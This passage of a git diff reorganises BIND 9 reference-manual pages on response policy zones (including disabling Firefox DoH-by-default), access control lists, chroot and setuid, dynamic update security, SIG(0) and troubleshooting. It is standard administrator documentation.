+mail from such IP addresses is spam, so the lack of a PTR record here has
+some predictive value.  By using the "force name-does-not-exist" policy
+trigger on all lookups in the PTR name space associated with an address
+block, DNS administrators can give their servers a hint that these IP
+addresses are probably sending junk.
+
+.. _known_rpz_inconsistency:
+
+A Known Inconsistency in DNS RPZ's NSDNAME and NSIP Rules
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Response Policy Zones define several possible triggers for each rule, and
+among these two are known to produce inconsistent results. This is not a
+bug; rather, it relates to inconsistencies in the DNS delegation model.
+
+DNS Delegation
+^^^^^^^^^^^^^^
+
+In DNS authority data, an NS RRset that is not at the apex of a DNS zone
+creates a sub-zone.  That sub-zone’s data is separate from the current (or
+"parent") zone, and it can have different authoritative name servers than
+the current zone. In this way, the root zone leads to COM, NET, ORG, and so
+on, each of which have their own name servers and their own way of managing
+their authoritative data. Similarly, ORG has delegations to ISC.ORG and to
+millions of other “dot-ORG” zones, each of which can have its own set of
+authoritative name servers. In the parlance of the protocol, these NS
+RRsets below the apex of a zone are called “delegation points.” An
+NS RRset at a delegation point contains a list of authoritative servers
+to which the parent zone is delegating authority for all names at or below
+the delegation point.
+
+At the apex of every zone there is also an NS RRset. Ideally, this
+so-called “apex NS RRset” should be identical to the “delegation point NS
+RRset” in the parent zone, but this ideal is not always achieved. In the
+real DNS, it’s almost always easier for a zone administrator to update one
+of these NS RRsets than the other, so that one will be correct and the
+other out of date. This inconsistency is so common that it’s been
+necessarily rendered harmless: domains that are inconsistent in this way
+are less reliable and perhaps slower, but they still function as long as
+there is some overlap between each of the NS RRsets and the truth. (“Truth”
+in this case refers to the actual set of name servers that are
+authoritative for the zone.)
+
+A Quick Review of DNS Iteration
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+In DNS recursive name servers, an incoming query that cannot be answered
+from the local cache is sent to the closest known delegation point for the
+query name. For example, if a server is looking up XYZZY.ISC.ORG and it
+the name servers for ISC.ORG, then it sends the query to those servers
+directly; however, if it has never heard of ISC.ORG before, it must first
+send the query to the name servers for ORG (or perhaps even to the root
+zone that is the parent of ORG).
+
+When it asks one of the parent name servers, that server will not have an
+answer, so it sends a “referral” consisting only of the “delegation point
+NS RRset.” Once the server receives this referral, it “iterates” by sending
+the same query again, but this time to name servers for a more specific
+part of the query name.  Eventually this iteration terminates, usually by
+getting an answer or a “name error” (NXDOMAIN) from the query name’s
+authoritative server, or by encountering some type of server failure.
+
+When an authoritative server for the query name sends an answer, it has the
+option of including a copy of the zone’s apex NS RRset. If this occurs, the
+recursive name server caches this NS RRset, replacing the delegation point
+NS RRset that it had received during the iteration process. In the parlance
+of the DNS, the delegation point NS RRset is “glue,” meaning
+non-authoritative data, or more of a hint than a real truth. On the other
+hand, the apex NS RRset is authoritative data, coming as it does from the
+zone itself, and it is considered more credible than the “glue.” For this
+reason, it’s a little bit more important that the apex NS RRset be correct
+than that the delegation point NS RRset be correct, since the former will
+quickly replace the latter, and will be used more often for a longer total
+period of time.
+
+Importantly, the authoritative name server need not include its apex NS
+RRset in any answers, and recursive name servers do not ordinarily query
+directly for this RRset. Therefore it is possible for the apex NS RRset to
+be completely wrong without any operational ill-effects, since the wrong
+data need not be exposed. Of course, if a query comes in for this NS RRset,
+most recursive name servers will forward the query to the zone’s authority
+servers, since it’s bad form to return “glue” data when asked a specific
+question. In these corner cases, bad apex NS RRset data can cause a zone to
+become unreachable unpredictably, according to what other queries the
+recursive name server has processed.
+
+There is another kind of “glue," for name servers whose names are below
+delegation points. If ORG delegates ISC.ORG to NS-EXT.ISC.ORG, the ORG
+server needs to know an address for NS-EXT.ISC.ORG and return this address
+as part of the delegation response. However, the name-to-address binding
+for this name server is only authoritative inside the ISC.ORG zone;
+therefore, the A or AAAA RRset given out with the delegation is
+non-authoritative “glue,” which is replaced by an authoritative RRset if
+one is seen. As with apex NS RRsets, the real A or AAAA RRset is not
+automatically queried for by the recursive name server, but is queried for
+if an incoming query asks for this RRset.
+
+Enter RPZ
+^^^^^^^^^
+
+RPZ has two trigger types that are intended to allow policy zone authors to
+target entire groups of domains based on those domains all being served by
+the same DNS servers: NSDNAME and NSIP. The NSDNAME and NSIP rules are
+matched against the name and IP address (respectively) of the nameservers
+of the zone the answer is in, and all of its parent zones. In its default
+configuration, BIND actively fetches any missing NS RRsets and address
+records.  If, in the process of attempting to resolve the names of all of
+these delegated server names, BIND receives a SERVFAIL response for any of
+the queries, then it aborts the policy rule evaluation and returns SERVFAIL
+for the query. This is technically neither a match nor a non-match of the
+rule.
+
+Every "." in a fully qualified domain name (FQDN) represents a potential
+delegation point. When BIND goes searching for parent zone NS RRsets (and,
+in the case of NSIP, their accompanying address records), it has to check
+every possible delegation point. This can become a problem for some
+specialized pseudo-domains, such as some domain name and network reputation
+systems, that have many "." characters in the names. It is further
+complicated if that system also has non-compliant DNS servers that silently
+drop queries for NS and SOA records. This forces BIND to wait for those
+queries to time out before it can finish evaluating the policy rule, even
+if this takes longer than a reasonable client typically waits for an answer
+(delays of over 60 seconds have been observed).
+
+While both of these cases do involve configurations and/or servers that are
+technically "broken," they may still "work" outside of RPZ NSIP and NSDNAME
+rules because of redundancy and iteration optimizations.
+
+There are two RPZ options, ``nsip-wait-recurse`` and ``nsdname-wait-recurse``,
+that alter BIND's behavior by allowing it to use only those records that
+already exist in the cache when evaluating NSIP and NSDNAME rules,
+respectively.
+
+Therefore NSDNAME and NSIP rules are unreliable. The rules may be matched
+against either the apex NS RRset or the "glue" NS RRset, each with their
+associated addresses (that also might or might not be "glue"). It’s in the
+administrator's interests to discover both the delegation name server names
+and addresses, and the apex name server names and authoritative address
+records, to ensure correct use of NS and NSIP triggers in RPZ. Even then,
+there may be collateral damage to completely unrelated domains that
+otherwise "work," just by having NSIP and NSDNAME rules.
+
+.. _rpz_disable_mozilla_doh:
+
+Example: Using RPZ to Disable Mozilla DoH-by-Default
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Mozilla announced in September 2019 that they would enable DNS-over-HTTPS
+(DoH) for all US-based users of the Firefox browser, sending all their DNS
+queries to predefined DoH providers (Cloudflare's 1.1.1.1 service in
+particular). This is a concern for some network administrators who do not
+want their users' DNS queries to be rerouted unexpectedly. However,
+Mozilla provides a mechanism to disable the DoH-by-default setting:
+if the Mozilla-owned domain `use-application-dns.net
+<https://use-application-dns.net>`_ returns an NXDOMAIN response code, Firefox
+will not use DoH.
+
+To accomplish this using RPZ:
+
+1. Create a polizy zone file called ``mozilla.rpz.db`` configured so
+   that NXDOMAIN will be returned for any query to ``use-application-dns.net``:
+
+::
+
+  $TTL	604800
+  $ORIGIN	mozilla.rpz.
+  @	IN	SOA	localhost. root.localhost. 1 604800 86400 2419200 604800
+  @	IN	NS	localhost.
+  use-application-dns.net CNAME .
+
+2. Add the zone into the BIND configuration (usually :iscman:`named.conf`):
+
+.. code-block:: c
+
+  zone mozilla.rpz {
+      type primary;
+      file "/<PATH_TO>/mozilla.rpz.db";
+      allow-query { localhost; };
+  };
+
+3. Enable use of the Response Policy Zone for all incoming queries
+   by adding the :any:`response-policy` directive into the ``options {}``
+   section:
+
+.. code-block:: c
+
+  options {
+  	response-policy { zone mozilla.rpz; } break-dnssec yes;
+  };
+
+4. Reload the configuration and test whether the Response Policy
+   Zone that was just added is in effect:
+
+.. code-block:: shell-session
+
+  # rndc reload
+  # dig IN A use-application-dns.net @<IP_ADDRESS_OF_YOUR_RESOLVER>
+  # dig IN AAAA use-application-dns.net @<IP_ADDRESS_OF_YOUR_RESOLVER>
+
+The response should return NXDOMAIN instead of the list of IP addresses,
+and the BIND 9 log should contain lines like this:
+
+.. code-block:: none
+
+  09-Sep-2019 18:50:49.439 client @0x7faf8e004a00 ::1#54175 (use-application-dns.net): rpz QNAME NXDOMAIN rewrite use-application-dns.net/AAAA/IN via use-application-dns.net.mozilla.rpz
+  09-Sep-2019 18:50:49.439 client @0x7faf8e007800 127.0.0.1#62915 (use-application-dns.net): rpz QNAME NXDOMAIN rewrite use-application-dns.net/AAAA/IN via use-application-dns.net.mozilla.rpz
+
+Note that this is the simplest possible configuration; specific
+configurations may be different, especially for administrators who are
+already using other response policy zones, or whose servers are configured
+with multiple views.
diff --git a/doc/arm/security.inc.rst b/doc/arm/security.inc.rst
new file mode 100644
index 0000000000..2936432f3e
--- /dev/null
+++ b/doc/arm/security.inc.rst
@@ -0,0 +1,234 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _security:
+
+Security Configurations
+=======================
+
+.. _file_permissions:
+
+.. _access_Control_Lists:
+
+Access Control Lists
+--------------------
+
+Access Control Lists (ACLs) are address match lists that can be set up
+and nicknamed for future use in :any:`allow-notify`, :any:`allow-query`,
+:any:`allow-query-on`, :any:`allow-recursion`, :any:`blackhole`,
+:any:`allow-transfer`, :any:`match-clients`, etc.
+
+ACLs give users finer control over who can access the
+name server, without cluttering up configuration files with huge lists of
+IP addresses.
+
+It is a *good idea* to use ACLs, and to control access.
+Limiting access to the server by outside parties can help prevent
+spoofing and denial of service (DoS) attacks against the server.
+
+ACLs match clients on the basis of up to three characteristics: 1) The
+client's IP address; 2) the TSIG or SIG(0) key that was used to sign the
+request, if any; and 3) an address prefix encoded in an EDNS
+Client-Subnet option, if any.
+
+Here is an example of ACLs based on client addresses:
+
+::
+
+   // Set up an ACL named "bogusnets" that blocks
+   // RFC1918 space and some reserved space, which is
+   // commonly used in spoofing attacks.
+   acl bogusnets {
+       0.0.0.0/8;  192.0.2.0/24; 224.0.0.0/3;
+       10.0.0.0/8; 172.16.0.0/12; 192.168.0.0/16;
+   };
+
+   // Set up an ACL called our-nets. Replace this with the
+   // real IP numbers.
+   acl our-nets { x.x.x.x/24; x.x.x.x/21; };
+   options {
+     ...
+     ...
+     allow-query { our-nets; };
+     allow-recursion { our-nets; };
+     ...
+     blackhole { bogusnets; };
+     ...
+   };
+
+   zone "example.com" {
+     type primary;
+     file "m/example.com";
+     allow-query { any; };
+   };
+
+This allows authoritative queries for ``example.com`` from any address,
+but recursive queries only from the networks specified in ``our-nets``,
+and no queries at all from the networks specified in ``bogusnets``.
+
+In addition to network addresses and prefixes, which are matched against
+the source address of the DNS request, ACLs may include ``key``
+elements, which specify the name of a TSIG or SIG(0) key.
+
+When BIND 9 is built with GeoIP support, ACLs can also be used for
+geographic access restrictions. This is done by specifying an ACL
+element of the form: ``geoip db database field value``.
+
+The ``field`` parameter indicates which field to search for a match. Available fields
+are ``country``, ``region``, ``city``, ``continent``, ``postal`` (postal code),
+``metro`` (metro code), ``area`` (area code), ``tz`` (timezone), ``isp``,
+``asnum``, and ``domain``.
+
+``value`` is the value to search for within the database. A string may be quoted
+if it contains spaces or other special characters. An ``asnum`` search for
+autonomous system number can be specified using the string "ASNNNN" or the
+integer NNNN. If a ``country`` search is specified with a string that is two characters
+long, it must be a standard ISO-3166-1 two-letter country code; otherwise,
+it is interpreted as the full name of the country.  Similarly, if
+``region`` is the search term and the string is two characters long, it is treated as a
+standard two-letter state or province abbreviation; otherwise, it is treated as the
+full name of the state or province.
+
+The :any:`database` field indicates which GeoIP database to search for a match. In
+most cases this is unnecessary, because most search fields can only be found in
+a single database.  However, searches for ``continent`` or ``country`` can be
+answered from either the ``city`` or ``country`` databases, so for these search
+types, specifying a :any:`database` forces the query to be answered from that
+database and no other. If a :any:`database` is not specified, these queries
+are first answered from the ``city`` database if it is installed, and then from the ``country``
+database if it is installed. Valid database names are ``country``,
+``city``, ``asnum``, ``isp``, and ``domain``.
+
+Some example GeoIP ACLs:
+
+::
+
+   geoip country US;
+   geoip country JP;
+   geoip db country country Canada;
+   geoip region WA;
+   geoip city "San Francisco";
+   geoip region Oklahoma;
+   geoip postal 95062;
+   geoip tz "America/Los_Angeles";
+   geoip org "Internet Systems Consortium";
+
+ACLs use a "first-match" logic rather than "best-match"; if an address
+prefix matches an ACL element, then that ACL is considered to have
+matched even if a later element would have matched more specifically.
+For example, the ACL ``{ 10/8; !10.0.0.1; }`` would actually match a
+query from 10.0.0.1, because the first element indicates that the query
+should be accepted, and the second element is ignored.
+
+When using "nested" ACLs (that is, ACLs included or referenced within
+other ACLs), a negative match of a nested ACL tells the containing ACL to
+continue looking for matches. This enables complex ACLs to be
+constructed, in which multiple client characteristics can be checked at
+the same time. For example, to construct an ACL which allows a query
+only when it originates from a particular network *and* only when it is
+signed with a particular key, use:
+
+::
+
+   allow-query { !{ !10/8; any; }; key example; };
+
+Within the nested ACL, any address that is *not* in the 10/8 network
+prefix is rejected, which terminates the processing of the ACL.
+Any address that *is* in the 10/8 network prefix is accepted, but
+this causes a negative match of the nested ACL, so the containing ACL
+continues processing. The query is accepted if it is signed by
+the key ``example``, and rejected otherwise. The ACL, then, only
+matches when *both* conditions are true.
+
+.. _chroot_and_setuid:
+
+``Chroot`` and ``Setuid``
+-------------------------
+
+On Unix servers, it is possible to run BIND in a *chrooted* environment
+(using the ``chroot()`` function) by specifying the :option:`-t <named -t>` option for
+:iscman:`named`. This can help improve system security by placing BIND in a
+"sandbox," which limits the damage done if a server is compromised.
+
+Another useful feature in the Unix version of BIND is the ability to run
+the daemon as an unprivileged user (:option:`-u <named -u>` user). We suggest running
+as an unprivileged user when using the ``chroot`` feature.
+
+Here is an example command line to load BIND in a ``chroot`` sandbox,
+``/var/named``, and to run :iscman:`named` ``setuid`` to user 202:
+
+``/usr/local/sbin/named -u 202 -t /var/named``
+
+.. _chroot:
+
+The ``chroot`` Environment
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+For a ``chroot`` environment to work properly in a particular
+directory (for example, ``/var/named``), the
+environment must include everything BIND needs to run. From BIND's
+point of view, ``/var/named`` is the root of the filesystem;
+the values of options like :any:`directory` and :any:`pid-file`
+must be adjusted to account for this.
+
+Unlike with earlier versions of BIND,
+:iscman:`named` does *not* typically need to be compiled statically, nor do shared libraries need to be installed under the new
+root. However, depending on the operating system, it may be necessary to set
+up locations such as ``/dev/zero``, ``/dev/random``, ``/dev/log``, and
+``/etc/localtime``.
+
+.. _setuid:
+
+Using the ``setuid`` Function
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Prior to running the :iscman:`named` daemon, use the ``touch`` utility (to
+change file access and modification times) or the ``chown`` utility (to
+set the user id and/or group id) on files where BIND should
+write.
+
+.. note::
+
+   If the :iscman:`named` daemon is running as an unprivileged user, it
+   cannot bind to new restricted ports if the server is
+   reloaded.
+
+.. _dynamic_update_security:
+
+Dynamic Update Security
+-----------------------
+
+Access to the dynamic update facility should be strictly limited. In
+earlier versions of BIND, the only way to do this was based on the IP
+address of the host requesting the update, by listing an IP address or
+network prefix in the :any:`allow-update` zone option. This method is
+insecure, since the source address of the update UDP packet is easily
+forged. Also note that if the IP addresses allowed by the
+:any:`allow-update` option include the address of a secondary server which
+performs forwarding of dynamic updates, the primary can be trivially
+attacked by sending the update to the secondary, which forwards it to
+the primary with its own source IP address - causing the primary to approve
+it without question.
+
+For these reasons, we strongly recommend that updates be
+cryptographically authenticated by means of transaction signatures
+(TSIG). That is, the :any:`allow-update` option should list only TSIG key
+names, not IP addresses or network prefixes. Alternatively, the
+:any:`update-policy` option can be used.
+
+Some sites choose to keep all dynamically updated DNS data in a
+subdomain and delegate that subdomain to a separate zone. This way, the
+top-level zone containing critical data, such as the IP addresses of
+public web and mail servers, need not allow dynamic updates at all.
+
+.. _sec_file_transfer:
+
+.. _dns_over_tls:
diff --git a/doc/arm/security.rst b/doc/arm/security.rst
deleted file mode 100644
index bc0592b0f5..0000000000
--- a/doc/arm/security.rst
+++ /dev/null
@@ -1,227 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-.. Security:
-
-BIND 9 Security Considerations
-==============================
-
-.. _Access_Control_Lists:
-
-Access Control Lists
---------------------
-
-Access Control Lists (ACLs) are address match lists that can be set up
-and nicknamed for future use in ``allow-notify``, ``allow-query``,
-``allow-query-on``, ``allow-recursion``, ``blackhole``,
-``allow-transfer``, ``match-clients``, etc.
-
-ACLs give users finer control over who can access the
-name server, without cluttering up configuration files with huge lists of
-IP addresses.
-
-It is a *good idea* to use ACLs, and to control access.
-Limiting access to the server by outside parties can help prevent
-spoofing and denial of service (DoS) attacks against the server.
-
-ACLs match clients on the basis of up to three characteristics: 1) The
-client's IP address; 2) the TSIG or SIG(0) key that was used to sign the
-request, if any; and 3) an address prefix encoded in an EDNS
-Client-Subnet option, if any.
-
-Here is an example of ACLs based on client addresses:
-
-::
-
-   // Set up an ACL named "bogusnets" that blocks
-   // RFC1918 space and some reserved space, which is
-   // commonly used in spoofing attacks.
-   acl bogusnets {
-       0.0.0.0/8;  192.0.2.0/24; 224.0.0.0/3;
-       10.0.0.0/8; 172.16.0.0/12; 192.168.0.0/16;
-   };
-
-   // Set up an ACL called our-nets. Replace this with the
-   // real IP numbers.
-   acl our-nets { x.x.x.x/24; x.x.x.x/21; };
-   options {
-     ...
-     ...
-     allow-query { our-nets; };
-     allow-recursion { our-nets; };
-     ...
-     blackhole { bogusnets; };
-     ...
-   };
-
-   zone "example.com" {
-     type primary;
-     file "m/example.com";
-     allow-query { any; };
-   };
-
-This allows authoritative queries for ``example.com`` from any address,
-but recursive queries only from the networks specified in ``our-nets``,
-and no queries at all from the networks specified in ``bogusnets``.
-
-In addition to network addresses and prefixes, which are matched against
-the source address of the DNS request, ACLs may include ``key``
-elements, which specify the name of a TSIG or SIG(0) key.
-
-When BIND 9 is built with GeoIP support, ACLs can also be used for
-geographic access restrictions. This is done by specifying an ACL
-element of the form: ``geoip db database field value``.
-
-The ``field`` parameter indicates which field to search for a match. Available fields
-are ``country``, ``region``, ``city``, ``continent``, ``postal`` (postal code),
-``metro`` (metro code), ``area`` (area code), ``tz`` (timezone), ``isp``,
-``asnum``, and ``domain``.
-
-``value`` is the value to search for within the database. A string may be quoted
-if it contains spaces or other special characters. An ``asnum`` search for
-autonomous system number can be specified using the string "ASNNNN" or the
-integer NNNN. If a ``country`` search is specified with a string that is two characters
-long, it must be a standard ISO-3166-1 two-letter country code; otherwise,
-it is interpreted as the full name of the country.  Similarly, if
-``region`` is the search term and the string is two characters long, it is treated as a
-standard two-letter state or province abbreviation; otherwise, it is treated as the
-full name of the state or province.
-
-The ``database`` field indicates which GeoIP database to search for a match. In
-most cases this is unnecessary, because most search fields can only be found in
-a single database.  However, searches for ``continent`` or ``country`` can be
-answered from either the ``city`` or ``country`` databases, so for these search
-types, specifying a ``database`` forces the query to be answered from that
-database and no other. If a ``database`` is not specified, these queries
-are first answered from the ``city`` database if it is installed, and then from the ``country``
-database if it is installed. Valid database names are ``country``,
-``city``, ``asnum``, ``isp``, and ``domain``.
-
-Some example GeoIP ACLs:
-
-::
-
-   geoip country US;
-   geoip country JP;
-   geoip db country country Canada;
-   geoip region WA;
-   geoip city "San Francisco";
-   geoip region Oklahoma;
-   geoip postal 95062;
-   geoip tz "America/Los_Angeles";
-   geoip org "Internet Systems Consortium";
-
-ACLs use a "first-match" logic rather than "best-match"; if an address
-prefix matches an ACL element, then that ACL is considered to have
-matched even if a later element would have matched more specifically.
-For example, the ACL ``{ 10/8; !10.0.0.1; }`` would actually match a
-query from 10.0.0.1, because the first element indicates that the query
-should be accepted, and the second element is ignored.
-
-When using "nested" ACLs (that is, ACLs included or referenced within
-other ACLs), a negative match of a nested ACL tells the containing ACL to
-continue looking for matches. This enables complex ACLs to be
-constructed, in which multiple client characteristics can be checked at
-the same time. For example, to construct an ACL which allows a query
-only when it originates from a particular network *and* only when it is
-signed with a particular key, use:
-
-::
-
-   allow-query { !{ !10/8; any; }; key example; };
-
-Within the nested ACL, any address that is *not* in the 10/8 network
-prefix is rejected, which terminates processing of the ACL.
-Any address that *is* in the 10/8 network prefix is accepted, but
-this causes a negative match of the nested ACL, so the containing ACL
-continues processing. The query is accepted if it is signed by
-the key ``example``, and rejected otherwise. The ACL, then, only
-matches when *both* conditions are true.
-
-.. _chroot_and_setuid:
-
-``Chroot`` and ``Setuid``
--------------------------
-
-On Unix servers, it is possible to run BIND in a *chrooted* environment
-(using the ``chroot()`` function) by specifying the ``-t`` option for
-``named``. This can help improve system security by placing BIND in a
-"sandbox," which limits the damage done if a server is compromised.
-
-Another useful feature in the Unix version of BIND is the ability to run
-the daemon as an unprivileged user (``-u`` user). We suggest running
-as an unprivileged user when using the ``chroot`` feature.
-
-Here is an example command line to load BIND in a ``chroot`` sandbox,
-``/var/named``, and to run ``named`` ``setuid`` to user 202:
-
-``/usr/local/sbin/named -u 202 -t /var/named``
-
-.. _chroot:
-
-The ``chroot`` Environment
-~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-For a ``chroot`` environment to work properly in a particular
-directory (for example, ``/var/named``), the
-environment must include everything BIND needs to run. From BIND's
-point of view, ``/var/named`` is the root of the filesystem;
-the values of options like ``directory`` and ``pid-file``
-must be adjusted to account for this.
-
-Unlike with earlier versions of BIND, 
-``named`` does *not* typically need to be compiled statically, nor do shared libraries need to be installed under the new
-root. However, depending on the operating system, it may be necessary to set
-up locations such as ``/dev/zero``, ``/dev/random``, ``/dev/log``, and
-``/etc/localtime``.
-
-.. _setuid:
-
-Using the ``setuid`` Function
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Prior to running the ``named`` daemon, use the ``touch`` utility (to
-change file access and modification times) or the ``chown`` utility (to
-set the user id and/or group id) on files where BIND should
-write.
-
-.. note::
-
-   If the ``named`` daemon is running as an unprivileged user, it
-   cannot bind to new restricted ports if the server is
-   reloaded.
-
-.. _dynamic_update_security:
-
-Dynamic Update Security
------------------------
-
-Access to the dynamic update facility should be strictly limited. In
-earlier versions of BIND, the only way to do this was based on the IP
-address of the host requesting the update, by listing an IP address or
-network prefix in the ``allow-update`` zone option. This method is
-insecure, since the source address of the update UDP packet is easily
-forged. Also note that if the IP addresses allowed by the
-``allow-update`` option include the address of a secondary server which
-performs forwarding of dynamic updates, the primary can be trivially
-attacked by sending the update to the secondary, which forwards it to
-the primary with its own source IP address - causing the primary to approve
-it without question.
-
-For these reasons, we strongly recommend that updates be
-cryptographically authenticated by means of transaction signatures
-(TSIG). That is, the ``allow-update`` option should list only TSIG key
-names, not IP addresses or network prefixes. Alternatively, the
-``update-policy`` option can be used.
-
-Some sites choose to keep all dynamically updated DNS data in a
-subdomain and delegate that subdomain to a separate zone. This way, the
-top-level zone containing critical data, such as the IP addresses of
-public web and mail servers, need not allow dynamic updates at all.
diff --git a/doc/arm/sig0.inc.rst b/doc/arm/sig0.inc.rst
new file mode 100644
index 0000000000..048dbeae7c
--- /dev/null
+++ b/doc/arm/sig0.inc.rst
@@ -0,0 +1,28 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+SIG(0)
+------
+
+BIND partially supports DNSSEC SIG(0) transaction signatures as
+specified in :rfc:`2535` and :rfc:`2931`. SIG(0) uses public/private keys to
+authenticate messages. Access control is performed in the same manner as with
+TSIG keys; privileges can be granted or denied in ACL directives based
+on the key name.
+
+When a SIG(0) signed message is received, it is only verified if
+the key is known and trusted by the server. The server does not attempt
+to recursively fetch or validate the key.
+
+SIG(0) signing of multiple-message TCP streams is not supported.
+
+The only tool shipped with BIND 9 that generates SIG(0) signed messages
+is :iscman:`nsupdate`.
diff --git a/doc/arm/troubleshooting.inc.rst b/doc/arm/troubleshooting.inc.rst
new file mode 100644
index 0000000000..a2d81a9f1d
--- /dev/null
+++ b/doc/arm/troubleshooting.inc.rst
@@ -0,0 +1,160 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _troubleshooting:
+
+Troubleshooting
+===============
+
+.. _common_problems:
+
+Common Problems
+---------------
+
+It's Not Working; How Can I Figure Out What's Wrong?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The best solution to installation and configuration issues is to
+take preventive measures by setting up logging files beforehand. The
+log files provide hints and information that can be used to
+identify anything that went wrong and fix the problem.
+
+EDNS Compliance Issues
+~~~~~~~~~~~~~~~~~~~~~~
+
+EDNS (Extended DNS) is a standard that was first specified in 1999. It
+is required for DNSSEC validation, DNS COOKIE options, and other
+features. There are broken and outdated DNS servers and firewalls still
+in use which misbehave when queried with EDNS; for example, they may
+drop EDNS queries rather than replying with FORMERR. BIND and other
+recursive name servers have traditionally employed workarounds in this
+situation, retrying queries in different ways and eventually falling
+back to plain DNS queries without EDNS.
+
+Such workarounds cause unnecessary resolution delays, increase code
+complexity, and prevent deployment of new DNS features. In February
+2019, all major DNS software vendors removed these
+workarounds; see https://dnsflagday.net/2019 for further details. This change
+was implemented in BIND as of release 9.14.0.
+
+As a result, some domains may be non-resolvable without manual
+intervention. In these cases, resolution can be restored by adding
+:namedconf:ref:`server` clauses for the offending servers, or by specifying ``edns no`` or
+``send-cookie no``, depending on the specific noncompliance.
+
+To determine which :namedconf:ref:`server` clause to use, run the following commands
+to send queries to the authoritative servers for the broken domain:
+
+::
+
+           dig soa <zone> @<server> +dnssec
+           dig soa <zone> @<server> +dnssec +nocookie
+           dig soa <zone> @<server> +noedns
+
+
+If the first command fails but the second succeeds, the server most
+likely needs ``send-cookie no``. If the first two fail but the third
+succeeds, then the server needs EDNS to be fully disabled with
+``edns no``.
+
+Please contact the administrators of noncompliant domains and encourage
+them to upgrade their broken DNS servers.
+
+Inspecting Encrypted DNS Traffic
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. note::
+
+   This feature requires support from the cryptographic library that
+   BIND 9 is built against.  For OpenSSL, version 1.1.1 or newer is
+   required (use :option:`named -V` to check).
+
+By definition, TLS-encrypted traffic (e.g. DNS over TLS, DNS over HTTPS)
+is opaque to packet sniffers, which makes debugging problems with
+encrypted DNS close to impossible. However, Wireshark_ offers a
+solution_ to this problem by being able to read key log files. In order
+to make :iscman:`named` prepare such a file, set the ``SSLKEYLOGFILE``
+environment variable to either:
+
+- the string ``config`` (``SSLKEYLOGFILE=config``); this requires
+  defining a :any:`logging` :any:`channel` which will
+  handle messages belonging to the ``sslkeylog`` category,
+
+- the path to the key file to write (``SSLKEYLOGFILE=/path/to/file``);
+  this is equivalent to the following :any:`logging` configuration:
+
+  ::
+
+     channel default_sslkeylogfile {
+         file "${SSLKEYLOGFILE}" versions 10 size 100m suffix timestamp;
+     };
+
+     category sslkeylog {
+         default_sslkeylogfile;
+     };
+
+.. note::
+
+   When using ``SSLKEYLOGFILE=config``, augmenting the log channel
+   output using options like :any:`print-time` or :any:`print-severity` is
+   strongly discouraged as it will likely make the key log file
+   unusable.
+
+When the ``SSLKEYLOGFILE`` environment variable is set, each TLS
+connection established by :iscman:`named` (both incoming and outgoing) causes
+about 1 kilobyte of data to be written to the key log file.
+
+.. warning::
+
+   Due to the limitations of the current logging code in BIND 9,
+   enabling TLS pre-master secret logging adversely affects :iscman:`named`
+   performance.
+
+.. _Wireshark: https://www.wireshark.org/
+.. _solution: https://wiki.wireshark.org/TLS#tls-decryption
+
+Incrementing and Changing the Serial Number
+-------------------------------------------
+
+Zone serial numbers are just numbers — they are not date-related. However, many
+people set them to a number that represents a date, usually of the
+form YYYYMMDDRR. Occasionally they make a mistake and set the serial number to a
+date in the future, then try to correct it by setting it to the
+current date. This causes problems because serial numbers are used to
+indicate that a zone has been updated. If the serial number on the secondary
+server is lower than the serial number on the primary, the secondary server
+attempts to update its copy of the zone.
+
+Setting the serial number to a lower number on the primary server than the one
+on the secondary server means that the secondary will not perform updates to its
+copy of the zone.
+
+The solution to this is to add 2147483647 (2^31-1) to the number, reload
+the zone and make sure all secondaries have updated to the new zone serial
+number, then reset it to the desired number and reload the
+zone again.
+
+.. _more_help:
+
+Where Can I Get Help?
+---------------------
+The BIND-users mailing list, at https://lists.isc.org/mailman/listinfo/bind-users, is an excellent resource for
+peer user support. In addition, ISC maintains a Knowledgebase of helpful articles
+at https://kb.isc.org.
+
+Internet Systems Consortium (ISC) offers annual support agreements
+for BIND 9, ISC DHCP, and Kea DHCP.
+All paid support contracts include advance security notifications; some levels include
+service level agreements (SLAs), premium software features, and increased priority on bug fixes
+and feature requests.
+
+Please contact info@isc.org or visit
+https://www.isc.org/contact/ for more information.
diff --git a/doc/arm/troubleshooting.rst b/doc/arm/troubleshooting.rst
deleted file mode 100644
index eb8165ba63..0000000000
--- a/doc/arm/troubleshooting.rst
+++ /dev/null
@@ -1,106 +0,0 @@
-.. 
